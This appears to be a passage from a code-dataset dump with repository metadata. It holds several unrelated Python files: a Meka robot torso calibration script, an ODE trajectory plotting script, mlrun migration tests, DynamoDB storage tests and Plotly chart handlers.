'cb_bias': 0.0},
'amp_temp':{
'type': 'adc_linear_5V', #5V supply, divider
'name': 'Microchip TC1047',
'cb_mV_at_25C': 750.0,
'cb_mV_per_C': 10.0,
'cb_scale': 1.0,
'cb_bias': 0.0,
},
'motor_temp':{
'type': 'adc_linear_3V3', #3v3 supply, no divider
'name': 'Analog TMP36',
'cb_mV_at_25C': 750.0,
'cb_mV_per_C': 10.0,
'cb_scale': 1.0,
'cb_bias': 0.0},
'torque':{
'type': 'adc_poly',
'name': 'Linear torque-load cell',
'cb_inv_torque': [1,0],
'cb_torque': [1,0],
'cb_scale': 1.0,
'cb_bias': 0.0},
'current':{
'type': 'adc_linear_5V',
'name': 'Allegro ACS712-20',
'cb_mV_per_A': 100.0,
'cb_ticks_at_zero_a': 0.0,
'cb_ticks_at_zero_b': 0.0,
'cb_scale': 1.0,
'cb_bias': 0.0},
},
'param':{
'max_amp_temp': 100.0,
'max_current': 12000,
'max_motor_temp': 145.0,
'max_tq': 50000.0,
'min_tq': -50000.0,
'thetadot_deadband': 1.0
},
'param_internal':
{
'calib_tq_lc_amp':2000.0,
'analyze_tq_lc_amp':10000.0,
'calib_lever_mass':327.6,
'calib_lever_com':157.5,
'calib_lever_len':304.8,
'joint_limits': [-29.0,29.0],
'pwm_theta':[-450,450],
'calib_tq_degree':1,
'calib_hub_diam':70
}
}
# ###########################################################################
class M3Calibrate_Torso_T2R1(M3CalibrateActuatorEcR1):
def __init__(self):
M3CalibrateActuatorEcR1.__init__(self)
self.joint_names=['Pan J0',
'Pitch J1']
self.config_default=[
config_default_t2_j0,
config_default_t2_j1]
def start(self,ctype):
if not M3CalibrateActuatorEcR1.start(self,ctype):
return False
self.jid=int(self.comp_ec.name[self.comp_ec.name.find('_j')+2:])
self.calib_default=self.config_default[self.jid]['calib']
self.param_default=self.config_default[self.jid]['param']
self.param_internal=self.config_default[self.jid]['param_internal']
print 'Calibrating joint',self.joint_names[self.jid]
return True
def do_task(self,ct):
if ct=='tt':
self.reset_sensor('theta')
self.calibrate_theta()
self.write_config()
return True
if M3CalibrateActuatorEcR1.do_task(self,ct):
return True
return False
def print_tasks(self):
M3CalibrateActuatorEcR1.print_tasks(self)
def calibrate_theta(self):
print 'Torso will be driven to limits. Proceed [y]?'
if not m3t.get_yes_no('y'):
return
pconfig=self.comp_ec.param.config #disable qei limits
self.comp_ec.param.config=0
self.proxy.publish_command(self.comp_rt)
self.proxy.publish_param(self.comp_rt)
self.proxy.make_operational(self.name_rt)
self.step()
print 'Moving joint to first limit. Hit any key when ready'
raw_input()
self.comp_rt.set_mode_pwm()
print 'Desired pwm? [',self.param_internal['pwm_theta'][0],']?'
p=int(m3t.get_float(self.param_internal['pwm_theta'][0]))
self.comp_rt.set_pwm(p)
self.step()
print 'Hit any key when motion done'
raw_input()
self.step()
q_on_a=self.comp_ec.status.qei_on
q_p_a=self.comp_ec.status.qei_period
q_r_a=self.comp_ec.status.qei_rollover
print 'Expected joint limits: ',self.param_internal['joint_limits']
print 'Enter theta (Deg)'
theta_a=m3t.get_float()
print 'Moving joint to second limit. Hit any key when ready'
raw_input()
print 'Desired pwm? [',self.param_internal['pwm_theta'][1],']?'
p=int(m3t.get_float(self.param_internal['pwm_theta'][1]))
self.comp_rt.set_pwm(p)
self.step()
print 'Hit any key when motion done'
raw_input()
self.step()
q_on_b=self.comp_ec.status.qei_on
q_p_b=self.comp_ec.status.qei_period
q_r_b=self.comp_ec.status.qei_rollover
print 'Expected joint limits: ',self.param_internal['joint_limits']
print 'Enter theta (Deg)'
theta_b=m3t.get_float()
theta_as=self.theta.raw_2_deg(self.comp_rt.config['calib']['theta'],q_on_a,q_p_a,q_r_a)
theta_bs=self.theta.raw_2_deg(self.comp_rt.config['calib']['theta'],q_on_b,q_p_b,q_r_b)
self.comp_rt.set_mode_off()
self.comp_ec.param.config=pconfig #enable qei limits
self.step()
self.proxy.make_safe_operational(self.name_rt)
self.step()
print 'Raw',[theta_as,theta_bs]
print 'True',[theta_a,theta_b]
poly,inv_poly=self.get_polyfit_to_data([theta_as,theta_bs],[theta_a,theta_b],n=1)
self.comp_rt.config['calib']['theta']['cb_scale']=poly[0]
self.comp_rt.config['calib']['theta']['cb_bias']=poly[1]
theta_as=self.theta.raw_2_deg(self.comp_rt.config['calib']['theta'],q_on_a,q_p_a,q_r_a)
theta_bs=self.theta.raw_2_deg(self.comp_rt.config['calib']['theta'],q_on_b,q_p_b,q_r_b)
print 'New calibrated range',theta_as,theta_bs
max_q=max(theta_as,theta_bs)
min_q=min(theta_as,theta_bs)
if self.comp_j is not None:
print 'Setting joint limits to',min_q,max_q
print 'Expected joint limits: ',self.param_internal['joint_limits']
self.comp_j.param.max_q=float(max_q)
self.comp_j.param.min_q=float(min_q)
else:
print 'Joint component missing. Unable to set joint limits to',min_q,max_q
| 30.131488 | 109 | 0.643087 |
import time
import numpy.numarray as na
import math
import os
import sys
import yaml
import m3.unit_conversion as m3u
from m3qa.calibrate import *
from m3qa.calibrate_sensors import *
from m3qa.calibrate_actuator_ec_r1 import *
import m3.actuator_ec_pb2 as aec
| false | true |
f7f3457c79a9baf5b6e3c0fe05fce738349c8dac | 1,112 | py | Python | eddy_airsea/analysis/ode_wave.py | bderembl/mitgcm_configs | 8aa0343fc56e9da831e7a8b857838c4f4a76aa9a | [
"MIT"
] | 1 | 2020-01-13T05:18:38.000Z | 2020-01-13T05:18:38.000Z | eddy_airsea/analysis/ode_wave.py | bderembl/mitgcm_configs | 8aa0343fc56e9da831e7a8b857838c4f4a76aa9a | [
"MIT"
] | null | null | null | eddy_airsea/analysis/ode_wave.py | bderembl/mitgcm_configs | 8aa0343fc56e9da831e7a8b857838c4f4a76aa9a | [
"MIT"
] | 5 | 2018-04-10T15:18:39.000Z | 2020-12-01T02:05:37.000Z | #!/usr/bin/env python
import numpy as np
import matplotlib.pyplot as plt
import scipy.integrate as integrate
plt.ion()
f0 = 1e-4
u0 = 1.0
R0 = 40e3 # radius
vmax = -1.0 # m/s
def v1(rr):
v = -vmax*rr/R0*np.exp(-0.5*(rr/R0)**2)
# v = -vmax*np.tanh(rr/R0)/(np.cosh(rr/R0))**2/(np.tanh(1.0)/(np.cosh(1.0))**2)
return v
def dv1(rr):
v = -vmax/R0*np.exp(-0.5*(rr/R0)**2)*(1-(rr/R0)**2)
# v = -vmax*2/R0*np.tanh(rr/R0)/((np.cosh(rr/R0))**2)*(1/(np.cosh(rr/R0))**2 - (np.tanh(rr/R0))**2)/(np.tanh(1.0)/(np.cosh(1.0))**2)
return v
def f(r, t):
omega = np.sqrt((dv1(r)+v1(r)/r + f0)*(2*v1(r)/r + f0))
return u0*np.sin(omega*t)
si_r = 30
si_t = 30000
r0 = np.linspace(1,5*R0,si_r)
t = np.linspace(0, si_t/f0/1000, si_t)
ra = np.zeros((si_t,si_r))
for ni in range(0,si_r):
ra[:,ni] = integrate.odeint(f, r0[ni], t).squeeze()
plt.figure()
plt.plot(t*f0/(2*np.pi),ra/R0,'k',linewidth=1)
plt.xlabel(r'$tf/2\pi$')
plt.ylabel(r'$r_p/R_0$')
plt.xlim([np.min(t*f0/(2*np.pi)), np.max(t*f0/(2*np.pi))])
plt.ylim([np.min(ra/R0), 1.05*np.max(ra/R0)])
plt.savefig("ode_k0.pdf",bbox_inches='tight')
| 23.659574 | 133 | 0.589928 |
import numpy as np
import matplotlib.pyplot as plt
import scipy.integrate as integrate
plt.ion()
f0 = 1e-4
u0 = 1.0
R0 = 40e3
vmax = -1.0
def v1(rr):
v = -vmax*rr/R0*np.exp(-0.5*(rr/R0)**2)
return v
def dv1(rr):
v = -vmax/R0*np.exp(-0.5*(rr/R0)**2)*(1-(rr/R0)**2)
return v
def f(r, t):
omega = np.sqrt((dv1(r)+v1(r)/r + f0)*(2*v1(r)/r + f0))
return u0*np.sin(omega*t)
si_r = 30
si_t = 30000
r0 = np.linspace(1,5*R0,si_r)
t = np.linspace(0, si_t/f0/1000, si_t)
ra = np.zeros((si_t,si_r))
for ni in range(0,si_r):
ra[:,ni] = integrate.odeint(f, r0[ni], t).squeeze()
plt.figure()
plt.plot(t*f0/(2*np.pi),ra/R0,'k',linewidth=1)
plt.xlabel(r'$tf/2\pi$')
plt.ylabel(r'$r_p/R_0$')
plt.xlim([np.min(t*f0/(2*np.pi)), np.max(t*f0/(2*np.pi))])
plt.ylim([np.min(ra/R0), 1.05*np.max(ra/R0)])
plt.savefig("ode_k0.pdf",bbox_inches='tight')
| true | true |
f7f34588564a9e9b043564e4479eaefdc7175294 | 3,977 | py | Python | tests/api/api/test_operations.py | jillnogold/mlrun | beff7da359b697156890e4eb45cb9a1bc9f16631 | [
"Apache-2.0"
] | null | null | null | tests/api/api/test_operations.py | jillnogold/mlrun | beff7da359b697156890e4eb45cb9a1bc9f16631 | [
"Apache-2.0"
] | null | null | null | tests/api/api/test_operations.py | jillnogold/mlrun | beff7da359b697156890e4eb45cb9a1bc9f16631 | [
"Apache-2.0"
] | null | null | null | import http
import fastapi.testclient
import pytest
import sqlalchemy.orm
import mlrun
import mlrun.api.api.endpoints.operations
import mlrun.api.crud
import mlrun.api.initial_data
import mlrun.api.schemas
import mlrun.api.utils.clients.iguazio
import mlrun.api.utils.singletons.scheduler
import mlrun.errors
import mlrun.runtimes
from mlrun.utils import logger
def test_migrations_already_in_progress(
db: sqlalchemy.orm.Session, client: fastapi.testclient.TestClient
) -> None:
background_task_name = "some-name"
mlrun.api.api.endpoints.operations.current_migration_background_task_name = (
background_task_name
)
mlrun.mlconf.httpdb.state = mlrun.api.schemas.APIStates.migrations_in_progress
response = client.post("operations/migrations")
assert response.status_code == http.HTTPStatus.ACCEPTED.value
background_task = mlrun.api.schemas.BackgroundTask(**response.json())
assert background_task_name == background_task.metadata.name
mlrun.api.api.endpoints.operations.current_migration_background_task_name = None
def test_migrations_failed(
db: sqlalchemy.orm.Session, client: fastapi.testclient.TestClient
) -> None:
mlrun.mlconf.httpdb.state = mlrun.api.schemas.APIStates.migrations_failed
response = client.post("operations/migrations")
assert response.status_code == http.HTTPStatus.PRECONDITION_FAILED.value
assert "Migrations were already triggered and failed" in response.text
def test_migrations_not_needed(
db: sqlalchemy.orm.Session, client: fastapi.testclient.TestClient
) -> None:
mlrun.mlconf.httpdb.state = mlrun.api.schemas.APIStates.online
response = client.post("operations/migrations")
assert response.status_code == http.HTTPStatus.OK.value
def _mock_migration_process(*args, **kwargs):
logger.info("Mocking migration process")
mlrun.mlconf.httpdb.state = mlrun.api.schemas.APIStates.migrations_completed
@pytest.fixture
def _mock_waiting_for_migration():
mlrun.mlconf.httpdb.state = mlrun.api.schemas.APIStates.waiting_for_migrations
def test_migrations_success(
# db calls init_data with from_scratch=True which means it will anyways do the migrations
# therefore in order to make the api to be started as if its in a state where migrations are needed
# we just add a middle fixture that sets the state
db: sqlalchemy.orm.Session,
_mock_waiting_for_migration,
client: fastapi.testclient.TestClient,
) -> None:
original_init_data = mlrun.api.initial_data.init_data
mlrun.api.initial_data.init_data = _mock_migration_process
response = client.get("projects")
# error cause we're waiting for migrations
assert response.status_code == http.HTTPStatus.PRECONDITION_FAILED.value
assert "API is waiting for migrations to be triggered" in response.text
# not initialized until we're not doing migrations
assert mlrun.api.utils.singletons.scheduler.get_scheduler() is None
# trigger migrations
response = client.post("operations/migrations")
assert response.status_code == http.HTTPStatus.ACCEPTED.value
background_task = mlrun.api.schemas.BackgroundTask(**response.json())
assert background_task.status.state == mlrun.api.schemas.BackgroundTaskState.running
response = client.get(f"background-tasks/{background_task.metadata.name}")
assert response.status_code == http.HTTPStatus.OK.value
background_task = mlrun.api.schemas.BackgroundTask(**response.json())
assert (
background_task.status.state == mlrun.api.schemas.BackgroundTaskState.succeeded
)
assert mlrun.mlconf.httpdb.state == mlrun.api.schemas.APIStates.online
# now we should be able to get projects
response = client.get("projects")
assert response.status_code == http.HTTPStatus.OK.value
# should be initialized
assert mlrun.api.utils.singletons.scheduler.get_scheduler() is not None
# tear down
mlrun.api.initial_data.init_data = original_init_data
| 41 | 103 | 0.775459 | import http
import fastapi.testclient
import pytest
import sqlalchemy.orm
import mlrun
import mlrun.api.api.endpoints.operations
import mlrun.api.crud
import mlrun.api.initial_data
import mlrun.api.schemas
import mlrun.api.utils.clients.iguazio
import mlrun.api.utils.singletons.scheduler
import mlrun.errors
import mlrun.runtimes
from mlrun.utils import logger
def test_migrations_already_in_progress(
db: sqlalchemy.orm.Session, client: fastapi.testclient.TestClient
) -> None:
background_task_name = "some-name"
mlrun.api.api.endpoints.operations.current_migration_background_task_name = (
background_task_name
)
mlrun.mlconf.httpdb.state = mlrun.api.schemas.APIStates.migrations_in_progress
response = client.post("operations/migrations")
assert response.status_code == http.HTTPStatus.ACCEPTED.value
background_task = mlrun.api.schemas.BackgroundTask(**response.json())
assert background_task_name == background_task.metadata.name
mlrun.api.api.endpoints.operations.current_migration_background_task_name = None
def test_migrations_failed(
db: sqlalchemy.orm.Session, client: fastapi.testclient.TestClient
) -> None:
mlrun.mlconf.httpdb.state = mlrun.api.schemas.APIStates.migrations_failed
response = client.post("operations/migrations")
assert response.status_code == http.HTTPStatus.PRECONDITION_FAILED.value
assert "Migrations were already triggered and failed" in response.text
def test_migrations_not_needed(
db: sqlalchemy.orm.Session, client: fastapi.testclient.TestClient
) -> None:
mlrun.mlconf.httpdb.state = mlrun.api.schemas.APIStates.online
response = client.post("operations/migrations")
assert response.status_code == http.HTTPStatus.OK.value
def _mock_migration_process(*args, **kwargs):
logger.info("Mocking migration process")
mlrun.mlconf.httpdb.state = mlrun.api.schemas.APIStates.migrations_completed
@pytest.fixture
def _mock_waiting_for_migration():
mlrun.mlconf.httpdb.state = mlrun.api.schemas.APIStates.waiting_for_migrations
def test_migrations_success(
db: sqlalchemy.orm.Session,
_mock_waiting_for_migration,
client: fastapi.testclient.TestClient,
) -> None:
original_init_data = mlrun.api.initial_data.init_data
mlrun.api.initial_data.init_data = _mock_migration_process
response = client.get("projects")
assert response.status_code == http.HTTPStatus.PRECONDITION_FAILED.value
assert "API is waiting for migrations to be triggered" in response.text
# not initialized until we're not doing migrations
assert mlrun.api.utils.singletons.scheduler.get_scheduler() is None
response = client.post("operations/migrations")
assert response.status_code == http.HTTPStatus.ACCEPTED.value
background_task = mlrun.api.schemas.BackgroundTask(**response.json())
assert background_task.status.state == mlrun.api.schemas.BackgroundTaskState.running
response = client.get(f"background-tasks/{background_task.metadata.name}")
assert response.status_code == http.HTTPStatus.OK.value
background_task = mlrun.api.schemas.BackgroundTask(**response.json())
assert (
background_task.status.state == mlrun.api.schemas.BackgroundTaskState.succeeded
)
assert mlrun.mlconf.httpdb.state == mlrun.api.schemas.APIStates.online
response = client.get("projects")
assert response.status_code == http.HTTPStatus.OK.value
assert mlrun.api.utils.singletons.scheduler.get_scheduler() is not None
mlrun.api.initial_data.init_data = original_init_data
| true | true |
f7f3462f4e530284b4f1082f46efb5c0b38bdd77 | 209 | py | Python | Week 7/network programs/thread.py | bpgc-cte/python2017 | c1eed0201039c6b4daf857dd1f08c47a7b1e3f45 | [
"MIT"
] | 23 | 2017-09-02T08:15:17.000Z | 2019-11-20T04:30:52.000Z | Week 7/network programs/thread.py | carlosal1015/python2017 | c1eed0201039c6b4daf857dd1f08c47a7b1e3f45 | [
"MIT"
] | 2 | 2017-08-24T06:53:33.000Z | 2017-08-24T06:54:42.000Z | Week 7/network programs/thread.py | bpgc-cte/python2017 | c1eed0201039c6b4daf857dd1f08c47a7b1e3f45 | [
"MIT"
] | 22 | 2017-08-22T08:01:09.000Z | 2019-11-20T04:30:56.000Z | from threading import *
import time
def lift_off(number):
for i in range(10,0):
print("#"+ i + "("+ number+ ")")
for x in range(3):
Thread(target=lift_off, args=(x,)).start()
time.sleep(10)
| 17.416667 | 46 | 0.598086 | from threading import *
import time
def lift_off(number):
for i in range(10,0):
print("#"+ i + "("+ number+ ")")
for x in range(3):
Thread(target=lift_off, args=(x,)).start()
time.sleep(10)
| true | true |
f7f346fe2dec4989a51725aaf43d16e9bed65d3c | 2,276 | py | Python | tests/app/storage/test_dynamodb.py | ons-eq-team/eq-questionnaire-runner | 8d029097faa2b9d53d9621064243620db60c62c7 | [
"MIT"
] | null | null | null | tests/app/storage/test_dynamodb.py | ons-eq-team/eq-questionnaire-runner | 8d029097faa2b9d53d9621064243620db60c62c7 | [
"MIT"
] | null | null | null | tests/app/storage/test_dynamodb.py | ons-eq-team/eq-questionnaire-runner | 8d029097faa2b9d53d9621064243620db60c62c7 | [
"MIT"
] | null | null | null | import boto3
from flask import current_app
from moto import mock_dynamodb2
from app.data_model.app_models import QuestionnaireState
from app.storage.dynamodb import TABLE_CONFIG, DynamodbStorage
from app.storage.errors import ItemAlreadyExistsError
from tests.app.app_context_test_case import AppContextTestCase
class TestDynamo(AppContextTestCase):
def setUp(self):
self._ddb = mock_dynamodb2()
self._ddb.start()
super().setUp()
client = boto3.resource("dynamodb", endpoint_url=None)
self.ddb = DynamodbStorage(client)
for config in TABLE_CONFIG.values():
table_name = current_app.config[config["table_name_key"]]
if table_name:
client.create_table( # pylint: disable=no-member
TableName=table_name,
AttributeDefinitions=[
{"AttributeName": config["key_field"], "AttributeType": "S"}
],
KeySchema=[
{"AttributeName": config["key_field"], "KeyType": "HASH"}
],
ProvisionedThroughput={
"ReadCapacityUnits": 1,
"WriteCapacityUnits": 1,
},
)
def tearDown(self):
super().tearDown()
self._ddb.stop()
def test_get_update(self):
self._assert_item(None)
self._put_item(1)
self._assert_item(1)
self._put_item(2)
self._assert_item(2)
def test_dont_overwrite(self):
self._put_item(1)
with self.assertRaises(ItemAlreadyExistsError):
self._put_item(1, overwrite=False)
def test_delete(self):
self._put_item(1)
self._assert_item(1)
model = QuestionnaireState("someuser", "data", 1)
self.ddb.delete(model)
self._assert_item(None)
def _assert_item(self, version):
item = self.ddb.get_by_key(QuestionnaireState, "someuser")
actual_version = item.version if item else None
self.assertEqual(actual_version, version)
def _put_item(self, version, overwrite=True):
model = QuestionnaireState("someuser", "data", version)
self.ddb.put(model, overwrite)
| 32.514286 | 84 | 0.605448 | import boto3
from flask import current_app
from moto import mock_dynamodb2
from app.data_model.app_models import QuestionnaireState
from app.storage.dynamodb import TABLE_CONFIG, DynamodbStorage
from app.storage.errors import ItemAlreadyExistsError
from tests.app.app_context_test_case import AppContextTestCase
class TestDynamo(AppContextTestCase):
def setUp(self):
self._ddb = mock_dynamodb2()
self._ddb.start()
super().setUp()
client = boto3.resource("dynamodb", endpoint_url=None)
self.ddb = DynamodbStorage(client)
for config in TABLE_CONFIG.values():
table_name = current_app.config[config["table_name_key"]]
if table_name:
client.create_table(
TableName=table_name,
AttributeDefinitions=[
{"AttributeName": config["key_field"], "AttributeType": "S"}
],
KeySchema=[
{"AttributeName": config["key_field"], "KeyType": "HASH"}
],
ProvisionedThroughput={
"ReadCapacityUnits": 1,
"WriteCapacityUnits": 1,
},
)
def tearDown(self):
super().tearDown()
self._ddb.stop()
def test_get_update(self):
self._assert_item(None)
self._put_item(1)
self._assert_item(1)
self._put_item(2)
self._assert_item(2)
def test_dont_overwrite(self):
self._put_item(1)
with self.assertRaises(ItemAlreadyExistsError):
self._put_item(1, overwrite=False)
def test_delete(self):
self._put_item(1)
self._assert_item(1)
model = QuestionnaireState("someuser", "data", 1)
self.ddb.delete(model)
self._assert_item(None)
def _assert_item(self, version):
item = self.ddb.get_by_key(QuestionnaireState, "someuser")
actual_version = item.version if item else None
self.assertEqual(actual_version, version)
def _put_item(self, version, overwrite=True):
model = QuestionnaireState("someuser", "data", version)
self.ddb.put(model, overwrite)
| true | true |
f7f349a8472d44fb90c80dbf5faf8f148bc1d6b7 | 7,696 | py | Python | src/visualizations/plotly.py | uts-cic/ontask_b | b313e2352c77b40655f41dd5acba3a7635e6f3b3 | [
"MIT"
] | null | null | null | src/visualizations/plotly.py | uts-cic/ontask_b | b313e2352c77b40655f41dd5acba3a7635e6f3b3 | [
"MIT"
] | null | null | null | src/visualizations/plotly.py | uts-cic/ontask_b | b313e2352c77b40655f41dd5acba3a7635e6f3b3 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""
Implementation of visualizations using the Plotly JS libarry
"""
from __future__ import unicode_literals, print_function
import json
from dataops import pandas_db
from . import VisHandler
class PlotlyHandler(VisHandler):
"""
Handler to produce Plotly visualizations.
"""
head_scripts = ["https://cdn.plot.ly/plotly-latest.min.js"]
html_skel = """<div id="{id}" style="{style}"></div>
<script>
Plotly.newPlot('{id}', {data}, {layout},
{{displaylogo: false}});
</script>"""
def __init__(self, data, *args, **kwargs):
super(PlotlyHandler, self).__init__(data, *args, **kwargs)
self.format_dict = {
'style': ''
}
self.layout = {'margin': {'l': 35, 'r': 35, 't': 35, 'b': 35}}
def get_engine_scripts(self, current):
"""
Return the HTML HEAD snippet including whatever <scripts> are required
:return: String to include in HEAD
"""
for script in self.head_scripts:
if script not in current:
current.append(script)
return current
def render(self):
"""
Return the rendering in HTML fo this visualization
:param args:
:param kwargs:
:return: String as HTML snippet
"""
return self.html_content
class PlotlyBoxPlot(PlotlyHandler):
"""
Create a boxplot with a given data frame column
"""
def __init__(self, data, *args, **kwargs):
super(PlotlyBoxPlot, self).__init__(data, *args, **kwargs)
self.format_dict['id'] = 'boxplot-id'
# Transfer the keys to the formatting dictionary
for key, value in kwargs.pop('context', {}).items():
self.format_dict[key] = value
data = []
for column in self.data.columns:
data.append(
{'y': list(self.data[column].dropna()),
'name': column,
'type': 'box'}
)
# If an individual value has been given, add the annotation and the
# layout to the rendering.
if self.format_dict.get('individual_value', None) is not None:
self.layout['annotations'] = [{
'bgcolor': 'white',
'x': 0,
'y': self.format_dict['individual_value'],
'ax': 0,
'ay': 0,
'xref': 'x',
'yref': 'y',
'text': self.format_dict.get('individual_text', 'Your value')
}]
# Get the two custom values from the given parameters.
self.layout['annotations'][0]['y'] = \
self.format_dict['individual_value']
self.layout['annotations'][0]['text'] = \
self.format_dict.get('individual_text', 'Your value')
# Redefine the layout
self.format_dict['layout'] = json.dumps(self.layout)
self.format_dict['data'] = json.dumps(data)
self.html_content = ''
if self.format_dict.get('title', None):
self.html_content = self.format_dict['title']
self.html_content += self.html_skel.format(**self.format_dict)
# If a title is given, place it in front of the widget
def get_id(self):
"""
Return the name of this handler
:return: string with the name
"""
return self.format_dict['id']
class PlotlyColumnHistogram(PlotlyHandler):
"""
Create a histogram
"""
def __init__(self, data, *args, **kwargs):
super(PlotlyColumnHistogram, self).__init__(data, *args, **kwargs)
self.format_dict['id'] = 'histogram-id'
self.layout.update({'autobinx': True,
'autobiny': True,
'bargap': 0.01,
'yaxis': {'title': 'Count'}})
# Transfer the keys to the formatting dictionary
for key, value in kwargs.pop('context', {}).items():
self.format_dict[key] = value
data = []
for column in self.data.columns:
column_dtype = \
pandas_db.pandas_datatype_names[self.data[column].dtype.name]
data_list = self.data[column].dropna().tolist()
# Special case for bool and datetime. Turn into strings to be
# treated as such
if column_dtype == 'boolean' or column_dtype == 'datetime':
data_list = [str(x) for x in data_list]
data.append(
{'x': data_list,
'autobinx': True,
'histnorm': 'count',
'name': column,
'type': 'histogram'}
)
self.format_dict['data'] = json.dumps(data)
# If an individual value has been given, add the annotation and the
# layout to the rendering.
if self.format_dict.get('individual_value', None) is not None:
ival = self.format_dict['individual_value']
if column_dtype == 'boolean' or column_dtype == 'datetime':
ival = str(ival)
self.layout['annotations'] = [{
'bgcolor': 'white',
'x': ival,
'ax': 0,
'axref': 'pixel',
'y': 0,
'yref': 'paper',
'yshift': 'bottom',
'text': self.format_dict.get('individual_text', 'Your value')
}]
self.format_dict['layout'] = json.dumps(self.layout)
self.html_content = ''
if self.format_dict.get('title', None):
self.html_content = self.format_dict['title']
self.html_content += self.html_skel.format(**self.format_dict)
def get_id(self):
"""
Return the name of this handler
:return: string with the name
"""
return self.format_dict['id']
class PlotlyGauge(PlotlyHandler):
"""
Create a gauge pointing to a value
"""
# FIX FIX FIX
format_dict = {
'id': 'histogram-id',
'data': "[{ y: [], type: 'histogram'}]",
'layout': "{}"
}
# FIX FIX FIX
layout = {
'shapes': [{
'type': 'path',
'path': None,
'fillcolor': '850000',
'line': {'color': '850000'}
}],
'title': 'Gauge Speed 0 - 100',
'height': 400,
'width': 400,
'xaxis': {
'zeroline': False,
'showticklabels': False,
'showgrid': False,
'range': [-1, 1]},
'yaxis': {
'zeroline': False,
'showticklabels': False,
'showgrid': False,
'range': [-1, 1]}
}
def __init__(self, data, *args, **kwargs):
# Transfer the keys to the formatting dictionary
for key, value in kwargs.pop('context', {}).items():
self.format_dict[key] = value
super(PlotlyGauge, self).__init__(data, *args, **kwargs)
data = []
for column in self.data.columns:
data.append(
{'x': list(self.data[column].dropna()),
'autobinx': True,
'histnorm': 'count',
'name': column,
'type': 'histogram'}
)
self.format_dict['data'] = json.dumps(data)
self.layout['bargap'] = 0.01
self.layout['yaxis'] = {'title': 'Count'}
self.format_dict['layout'] = json.dumps(self.layout)
self.html_content = self.html_skel.format(**self.format_dict)
def get_id(self):
"""
Return the name of this handler
:return: string with the name
"""
return self.format_dict['id']
| 29.714286 | 78 | 0.525598 |
from __future__ import unicode_literals, print_function
import json
from dataops import pandas_db
from . import VisHandler
class PlotlyHandler(VisHandler):
head_scripts = ["https://cdn.plot.ly/plotly-latest.min.js"]
html_skel = """<div id="{id}" style="{style}"></div>
<script>
Plotly.newPlot('{id}', {data}, {layout},
{{displaylogo: false}});
</script>"""
def __init__(self, data, *args, **kwargs):
super(PlotlyHandler, self).__init__(data, *args, **kwargs)
self.format_dict = {
'style': ''
}
self.layout = {'margin': {'l': 35, 'r': 35, 't': 35, 'b': 35}}
def get_engine_scripts(self, current):
for script in self.head_scripts:
if script not in current:
current.append(script)
return current
def render(self):
return self.html_content
class PlotlyBoxPlot(PlotlyHandler):
def __init__(self, data, *args, **kwargs):
super(PlotlyBoxPlot, self).__init__(data, *args, **kwargs)
self.format_dict['id'] = 'boxplot-id'
for key, value in kwargs.pop('context', {}).items():
self.format_dict[key] = value
data = []
for column in self.data.columns:
data.append(
{'y': list(self.data[column].dropna()),
'name': column,
'type': 'box'}
)
if self.format_dict.get('individual_value', None) is not None:
self.layout['annotations'] = [{
'bgcolor': 'white',
'x': 0,
'y': self.format_dict['individual_value'],
'ax': 0,
'ay': 0,
'xref': 'x',
'yref': 'y',
'text': self.format_dict.get('individual_text', 'Your value')
}]
self.layout['annotations'][0]['y'] = \
self.format_dict['individual_value']
self.layout['annotations'][0]['text'] = \
self.format_dict.get('individual_text', 'Your value')
self.format_dict['layout'] = json.dumps(self.layout)
self.format_dict['data'] = json.dumps(data)
self.html_content = ''
if self.format_dict.get('title', None):
self.html_content = self.format_dict['title']
self.html_content += self.html_skel.format(**self.format_dict)
def get_id(self):
return self.format_dict['id']
class PlotlyColumnHistogram(PlotlyHandler):
def __init__(self, data, *args, **kwargs):
super(PlotlyColumnHistogram, self).__init__(data, *args, **kwargs)
self.format_dict['id'] = 'histogram-id'
self.layout.update({'autobinx': True,
'autobiny': True,
'bargap': 0.01,
'yaxis': {'title': 'Count'}})
for key, value in kwargs.pop('context', {}).items():
self.format_dict[key] = value
data = []
for column in self.data.columns:
column_dtype = \
pandas_db.pandas_datatype_names[self.data[column].dtype.name]
data_list = self.data[column].dropna().tolist()
if column_dtype == 'boolean' or column_dtype == 'datetime':
data_list = [str(x) for x in data_list]
data.append(
{'x': data_list,
'autobinx': True,
'histnorm': 'count',
'name': column,
'type': 'histogram'}
)
self.format_dict['data'] = json.dumps(data)
if self.format_dict.get('individual_value', None) is not None:
ival = self.format_dict['individual_value']
if column_dtype == 'boolean' or column_dtype == 'datetime':
ival = str(ival)
self.layout['annotations'] = [{
'bgcolor': 'white',
'x': ival,
'ax': 0,
'axref': 'pixel',
'y': 0,
'yref': 'paper',
'yshift': 'bottom',
'text': self.format_dict.get('individual_text', 'Your value')
}]
self.format_dict['layout'] = json.dumps(self.layout)
self.html_content = ''
if self.format_dict.get('title', None):
self.html_content = self.format_dict['title']
self.html_content += self.html_skel.format(**self.format_dict)
def get_id(self):
return self.format_dict['id']
class PlotlyGauge(PlotlyHandler):
format_dict = {
'id': 'histogram-id',
'data': "[{ y: [], type: 'histogram'}]",
'layout': "{}"
}
layout = {
'shapes': [{
'type': 'path',
'path': None,
'fillcolor': '850000',
'line': {'color': '850000'}
}],
'title': 'Gauge Speed 0 - 100',
'height': 400,
'width': 400,
'xaxis': {
'zeroline': False,
'showticklabels': False,
'showgrid': False,
'range': [-1, 1]},
'yaxis': {
'zeroline': False,
'showticklabels': False,
'showgrid': False,
'range': [-1, 1]}
}
def __init__(self, data, *args, **kwargs):
for key, value in kwargs.pop('context', {}).items():
self.format_dict[key] = value
super(PlotlyGauge, self).__init__(data, *args, **kwargs)
data = []
for column in self.data.columns:
data.append(
{'x': list(self.data[column].dropna()),
'autobinx': True,
'histnorm': 'count',
'name': column,
'type': 'histogram'}
)
self.format_dict['data'] = json.dumps(data)
self.layout['bargap'] = 0.01
self.layout['yaxis'] = {'title': 'Count'}
self.format_dict['layout'] = json.dumps(self.layout)
self.html_content = self.html_skel.format(**self.format_dict)
def get_id(self):
return self.format_dict['id']
| true | true |
f7f34a3003c9e3abf00fa4b7f691d3d879b03c4e | 838 | py | Python | examples/pyomo/facility_location/pmedian_api.py | Fuinn/mos-examples | e7badef779f0918c6d09a52db00eb8f890234b57 | [
"BSD-3-Clause"
] | 2 | 2022-03-06T18:39:14.000Z | 2022-03-08T08:44:37.000Z | examples/pyomo/facility_location/pmedian_api.py | Fuinn/mos-examples | e7badef779f0918c6d09a52db00eb8f890234b57 | [
"BSD-3-Clause"
